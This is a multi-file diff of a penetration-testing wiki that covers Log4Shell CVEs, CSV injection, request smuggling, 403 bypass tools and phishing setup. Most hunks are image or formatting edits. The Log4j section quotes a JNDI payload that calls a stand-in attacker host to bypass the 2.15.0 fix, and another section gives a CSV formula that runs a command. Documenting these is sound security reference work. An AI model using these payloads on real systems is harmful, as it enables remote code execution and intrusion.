Being the most dangerous of them all, this vulnerability lurks in the [log4j-core](https://search.maven.org/artifact/org.apache.logging.log4j/log4j-core) component, limited to 2.x versions: from 2.0-beta9 up to and including 2.14.1. A fix for Log4Shell was rolled out in version 2.15.0 but deemed incomplete (keep reading).\
|
||||
\
|
||||
Threat intel analyst Florian Roth shared Sigma rules \[[1](https://github.com/SigmaHQ/sigma/blob/master/rules/web/web\_cve\_2021\_44228\_log4j\_fields.yml), [2](https://github.com/SigmaHQ/sigma/blob/master/rules/web/web\_cve\_2021\_44228\_log4j.yml)] that can be employed as one of the defenses.\
|
||||
|
||||
Threat intel analyst Florian Roth shared Sigma rules \[[1](https://github.com/SigmaHQ/sigma/blob/master/rules/web/web\_cve\_2021\_44228\_log4j\_fields.yml), [2](https://github.com/SigmaHQ/sigma/blob/master/rules/web/web\_cve\_2021\_44228\_log4j.yml)] that can be employed as one of the defenses.\\
|
||||
* [**CVE-2021-45046**](https://nvd.nist.gov/vuln/detail/CVE-2021-45046) \[**Critical**, previously Low]: This one is a Denial of Service (DoS) flaw scoring a ~~3.7~~ 9.0. The flaw arose as a result of an **incomplete fix that went into 2.15.0** for CVE-2021-44228. While the fix applied to 2.15.0 did largely resolve the flaw, that wasn't quite the case for certain **non-default configurations**.\
|
||||
\
|
||||
Log4j 2.15.0 makes "a best-effort attempt" to **restrict JNDI LDAP lookups to \_localhost**\_ by default. But, **attackers** who have **control** over the **Thread Context Map (MDC)** input data can craft malicious payloads via the JNDI Lookup patterns to cause DoS attacsk. This applies to non-default configurations in which a non-default Pattern Layout using either a Context Lookup, e.g. \$${ctx:loginId}, or a Thread Context Map pattern (%X, %mdc, or %MDC).\
|
||||
|
@ -113,20 +112,17 @@ Therefore, the only thing needed to get RCE a **vulnerable version of Log4j proc
|
|||
The **bypass taken from this** [**tweet**](https://twitter.com/marcioalm/status/1471740771581652995) was:\
|
||||
_Here is a PoC in how to bypass allowedLdapHost and allowedClasses checks in Log4J 2.15.0. to achieve RCE: **`${jndi:ldap://127.0.0.1#evilhost.com:1389/a}`** and to bypass allowedClasses just choose a name for a class in the JDK. Deserialization will occur as usual._\
|
||||
\_\_\
|
||||
\_\_"Log4j 2.16.0 fixes this issue by removing support for message lookup patterns and disabling JNDI functionality by default," states the NVD advisory. For those on 2.12.1 branch, a fix was backported into 2.12.2.\
|
||||
|
||||
\_\_"Log4j 2.16.0 fixes this issue by removing support for message lookup patterns and disabling JNDI functionality by default," states the NVD advisory. For those on 2.12.1 branch, a fix was backported into 2.12.2.\\
|
||||
* [**CVE-2021-4104**](https://nvd.nist.gov/vuln/detail/CVE-2021-4104) **\[High]**: Did we say Log4j 2.x versions were vulnerable? What about **Log4j 1.x**?\
|
||||
\
|
||||
While previously thought to be safe, Log4Shell found a way to lurk in the older Log4j too. Essentially, **non-default configuration of Log4j 1.x instances using the \_JMSAppender**\_** class also become susceptible to the untrusted deserialization flaw**.\
|
||||
While previously thought to be safe, Log4Shell found a way to lurk in the older Log4j too. Essentially, **non-default configuration of Log4j 1.x instances using the \_JMSAppender**\_\*\* class also become susceptible to the untrusted deserialization flaw\*\*.\
|
||||
\
|
||||
Although a less severe variant of CVE-2021-44228, nonetheless, this CVE impacts all versions of the [log4j:log4j](https://search.maven.org/artifact/log4j/log4j) and [org.apache.log4j:log4j](https://mvnrepository.com/artifact/org.apache.log4j/log4j) components for which only 1.x releases exist. Because these are [end-of-life](https://logging.apache.org/log4j/1.2/) versions, **a fix for 1.x branch does not exist anywhere**, and one should upgrade to _log4j-core_ 2.17.0. (Apparently 1.0 isn't vulnerable).\
|
||||
|
||||
Although a less severe variant of CVE-2021-44228, nonetheless, this CVE impacts all versions of the [log4j:log4j](https://search.maven.org/artifact/log4j/log4j) and [org.apache.log4j:log4j](https://mvnrepository.com/artifact/org.apache.log4j/log4j) components for which only 1.x releases exist. Because these are [end-of-life](https://logging.apache.org/log4j/1.2/) versions, **a fix for 1.x branch does not exist anywhere**, and one should upgrade to _log4j-core_ 2.17.0. (Apparently 1.0 isn't vulnerable).\\
|
||||
* [**CVE-2021-42550**](https://nvd.nist.gov/vuln/detail/CVE-2021-42550) **\[Moderate]:** This is a vulnerability in the **Logback logging framework**. A successor to the Log4j 1.x library, Logback claims to pick up "where log4j 1.x leaves off."\
|
||||
\
|
||||
Up until last week, Logback also [bragged](https://archive.md/QkzIy) that being "unrelated to log4j 2.x, \[logback] does not share its vulnerabilities."\
|
||||
\
|
||||
That assumption quickly faded when **CVE-2021-4104** was discovered to impact Log4j 1.x as well, and the possibility of potential **impact to Logback** was [assessed](https://jira.qos.ch/browse/LOGBACK-1591). Newer Logback versions, 1.3.0-alpha11 and 1.2.9 addressing this less severe vulnerability have now been [released](https://search.maven.org/artifact/ch.qos.logback/logback-classic).\
|
||||
|
||||
That assumption quickly faded when **CVE-2021-4104** was discovered to impact Log4j 1.x as well, and the possibility of potential **impact to Logback** was [assessed](https://jira.qos.ch/browse/LOGBACK-1591). Newer Logback versions, 1.3.0-alpha11 and 1.2.9 addressing this less severe vulnerability have now been [released](https://search.maven.org/artifact/ch.qos.logback/logback-classic).\\
|
||||
* **CVE-2021-45105** **\[High]**: **Log4j 2.16.0** was found out to be **vulnerable to a DoS** flaw rated 'High' in severity. Apache has since **released a log4j 2.17.0 version** fixing the CVE. More details on this development are provided in BleepingComputer's [latest report](https://www.bleepingcomputer.com/news/security/upgraded-to-log4j-216-surprise-theres-a-217-fixing-dos/).
|
||||
* [**CVE-2021-44832**](https://checkmarx.com/blog/cve-2021-44832-apache-log4j-2-17-0-arbitrary-code-execution-via-jdbcappender-datasource-element/): This new CVE affects the **version 2.17** of log4j. This vulnerability **requires the attacker to control the configuration file of log4j** as it’s possible to indicate a JDNI URL in a configured JDBCAppender. For information about the **vulnerability and exploitation** [**read this info**](https://checkmarx.com/blog/cve-2021-44832-apache-log4j-2-17-0-arbitrary-code-execution-via-jdbcappender-datasource-element/).
|
||||
|
||||
|
@ -231,7 +227,7 @@ For **more information** (_like limitations on RMI and CORBA vectors_) **check t
|
|||
|
||||
### RCE - Marshalsec with custom payload
|
||||
|
||||
_This trick is entirely taken from the **THM box:**_ [_**https://tryhackme.com/room/solar**_](https://tryhackme.com/room/solar)__
|
||||
_This trick is entirely taken from the **THM box:**_ [_**https://tryhackme.com/room/solar**_](https://tryhackme.com/room/solar)\_\_
|
||||
|
||||
For this exploit the tool [**marshalsec**](https://github.com/mbechler/marshalsec) (download a [**jar version from here**](https://github.com/RandomRobbieBF/marshalsec-jar)) will be used to create a LDAP referral server to direct connections to our secondary HTTP server were the exploit will be served:
|
||||
|
||||
|
|
|
@ -41,7 +41,7 @@ The good news is that **this payload is executed automatically when the file is
|
|||
|
||||
It's possible to execute a calculator with the following payload **`=cmd|' /C calc'!xxx`**
|
||||
|
||||
![](<../.gitbook/assets/image (25) (2) (2) (2) (2) (2) (2) (2) (2) (1) (2) (1) (1) (1) (1).png>)
|
||||
![](<../.gitbook/assets/image (25) (2) (2) (2) (2) (2) (2) (2) (2) (1) (1) (1).png>)
|
||||
|
||||
### More
|
||||
|
||||
|
|
|
@ -28,7 +28,7 @@ This technique was abused on AWS load balancer, so making sure that the users ac
|
|||
|
||||
This is exactly the same technique as before, but checking the requests James noticed that clients were asking to send him their credentials, so he just modified his server to allow CORS to send him peoples credentials:
|
||||
|
||||
![](<../../.gitbook/assets/image (662) (1) (1) (1).png>)
|
||||
![](<../../.gitbook/assets/image (662) (1) (1) (1) (1).png>)
|
||||
|
||||
### H2.TE via Request Header Injection
|
||||
|
||||
|
@ -36,7 +36,7 @@ This is exactly the same technique as before, but checking the requests James no
|
|||
|
||||
In this case **the header Transfer-Encoding was injected**.
|
||||
|
||||
![](<../../.gitbook/assets/image (648) (1) (1) (1).png>)
|
||||
![](<../../.gitbook/assets/image (648) (1) (1) (1) (1).png>)
|
||||
|
||||
### H2.TE via Header Name Injection
|
||||
|
||||
|
|
|
@ -24,7 +24,7 @@ Moreover, is the **attacker then perform a request** and the **legitimate respon
|
|||
|
||||
![](<../.gitbook/assets/image (658) (1).png>)
|
||||
|
||||
![](<../.gitbook/assets/image (655) (1) (1).png>)
|
||||
![](<../.gitbook/assets/image (655) (1) (1) (1).png>)
|
||||
|
||||
### Multiple Nested Injections
|
||||
|
||||
|
|
|
@ -8,7 +8,7 @@
|
|||
|
||||
## Attacks Graphic
|
||||
|
||||
![](<../../.gitbook/assets/image (535) (1) (1) (2) (2) (2) (2) (2) (2) (1) (1) (3).png>)
|
||||
![](<../../.gitbook/assets/image (535) (1) (1) (2) (2) (2) (2) (2) (2) (1) (1) (2) (3).png>)
|
||||
|
||||
## Tool
|
||||
|
||||
|
|
|
@ -91,3 +91,9 @@ If _/path_ is blocked:
|
|||
guest guest
|
||||
```
|
||||
{% endcode %}
|
||||
|
||||
## Automatic Tools
|
||||
|
||||
* [https://github.com/lobuhi/byp4xx](https://github.com/lobuhi/byp4xx)
|
||||
* [https://github.com/iamj0ker/bypass-403](https://github.com/iamj0ker/bypass-403)
|
||||
* [https://github.com/gotr00t0day/forbiddenpass](https://github.com/gotr00t0day/forbiddenpass)
|
||||
|
|
|
@ -94,7 +94,7 @@ Some **tricks** for **finding vulnerabilities** in different well known **techno
|
|||
* [**H2 - Java SQL database**](h2-java-sql-database.md)
|
||||
* [**IIS tricks**](iis-internet-information-services.md)
|
||||
* [**JBOSS**](jboss.md)
|
||||
* [**Jenkins**](jenkins.md)
|
||||
* [**Jenkins**](../../cloud-security/jenkins.md)
|
||||
* [**Jira**](jira.md)
|
||||
* [**Joomla**](joomla.md)
|
||||
* [**JSP**](jsp.md)
|
||||
|
|
|
@ -320,7 +320,7 @@ C:\xampp\tomcat\conf\server.xml
|
|||
|
||||
If you see an error like the following one:
|
||||
|
||||
![](<../../.gitbook/assets/image (446) (1) (2) (2) (3) (3) (2) (1).png>)
|
||||
![](<../../.gitbook/assets/image (446) (1) (2) (2) (3) (3) (2) (1) (2).png>)
|
||||
|
||||
It means that the server **didn't receive the correct domain name** inside the Host header.\
|
||||
In order to access the web page you could take a look to the served **SSL Certificate** and maybe you can find the domain/subdomain name in there. If it isn't there you may need to **brute force VHosts** until you find the correct one.
|
||||
|
|
|
@ -187,7 +187,7 @@ It is recommended to disable Wp-Cron and create a real cronjob inside the host t
|
|||
</methodCall>
|
||||
```
|
||||
|
||||
![](<../../.gitbook/assets/image (107) (2) (2) (2) (2) (2) (1) (2) (1) (1) (1) (1).png>)
|
||||
![](<../../.gitbook/assets/image (107) (2) (2) (2) (2) (2) (1) (1) (1).png>)
|
||||
|
||||
![](<../../.gitbook/assets/image (102).png>)
|
||||
|
||||
|
|
|
@ -3,8 +3,7 @@
|
|||
{% hint style="warning" %}
|
||||
**Support HackTricks and get benefits!**
|
||||
|
||||
Do you work in a **cybersecurity company**? Do you want to see your **company advertised in HackTricks**? or do you want to have access the **latest version of the PEASS or download HackTricks in PDF**?
|
||||
Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
|
||||
Do you work in a **cybersecurity company**? Do you want to see your **company advertised in HackTricks**? or do you want to have access the **latest version of the PEASS or download HackTricks in PDF**? Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
|
||||
|
||||
Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
|
||||
|
@ -340,7 +339,7 @@ The page www.mail-tester.com can indicate you if you your domain is being blocke
|
|||
* Decide from which account are you going to send the phishing emails. Suggestions: _noreply, support, servicedesk, salesforce..._
|
||||
* You can leave blank the username and password, but make sure to check the Ignore Certificate Errors
|
||||
|
||||
![](<../.gitbook/assets/image (253) (1) (2) (1) (1) (2) (2) (3) (3) (5) (3) (2) (1) (1) (4).png>)
|
||||
![](<../.gitbook/assets/image (253) (1) (2) (1) (1) (2) (2) (3) (3) (5) (3) (1) (1) (2) (7).png>)
|
||||
|
||||
{% hint style="info" %}
|
||||
It's recommended to use the "**Send Test Email**" functionality to test that everything is working.\
|
||||
|
|
|
@ -9,7 +9,7 @@
|
|||
After installing there are a few things that you could consider configuring.\
|
||||
In settings (the second tab button) you can select the **SDR device** or **select a file** to read and which frequency to syntonise and the Sample rate (recommended to up to 2.56Msps if your PC support it)\\
|
||||
|
||||
![](<../../.gitbook/assets/image (655).png>)
|
||||
![](<../../.gitbook/assets/image (655) (1).png>)
|
||||
|
||||
In the GUI behaviour it's recommended to enable a few things if your PC support it:
|
||||
|
||||
|
@ -126,7 +126,7 @@ Pressing sample this appears:
|
|||
|
||||
Now, to make SigDigger understand **where is the range** of the level carrying information you need to click on the **lower level** and maintain clicked until the biggest level:
|
||||
|
||||
![](<../../.gitbook/assets/image (662) (1).png>)
|
||||
![](<../../.gitbook/assets/image (662) (1) (1).png>)
|
||||
|
||||
If there would have been for example **4 different levels of amplitude**, you should have need to configure the **Bits per symbol to 2** and select from the smallest to the biggest.
|
||||
|
||||
|
@ -160,7 +160,7 @@ This is because I capture the signal in booth frequencies, therefore one is appr
|
|||
|
||||
If the synchronized frequency is **closer to one frequency than to the other** you can easily see the 2 different frequencies:
|
||||
|
||||
![](<../../.gitbook/assets/image (648) (1).png>)
|
||||
![](<../../.gitbook/assets/image (648) (1) (1).png>)
|
||||
|
||||
![](<../../.gitbook/assets/image (634).png>)
|
||||
|
||||
|
|
|
@ -10,7 +10,7 @@
|
|||
|
||||
Note that even if the PINOUT of the Pirate Bus indicates pins for **MOSI** and **MISO** to connect to SPI however some SPIs may indicate pins as DI and DO. **MOSI -> DI, MISO -> DO**
|
||||
|
||||
![](<../../.gitbook/assets/image (648).png>)
|
||||
![](<../../.gitbook/assets/image (648) (1).png>)
|
||||
|
||||
In Windows or Linux you can use the program [**`flashrom`**](https://www.flashrom.org/Flashrom) to dump the content of the flash memory running something like:
|
||||
|
||||
|
|
|
@ -8,7 +8,7 @@ Generally, the line is held high (at a logical 1 value) while UART is in the idl
|
|||
|
||||
We call the most common configuration 8N1: eight data bits, no parity, and one stop bit. For example, if we wanted to send the character C, or 0x43 in ASCII, in an 8N1 UART configuration, we would send the following bits: 0 (the start bit); 0, 1, 0, 0, 0, 0, 1, 1 (the value of 0x43 in binary), and 0 (the stop bit).
|
||||
|
||||
![](<../../.gitbook/assets/image (648) (1) (1).png>)
|
||||
![](<../../.gitbook/assets/image (648) (1) (1) (1).png>)
|
||||
|
||||
Hardware tools to communicate with UART:
|
||||
|
||||
|
|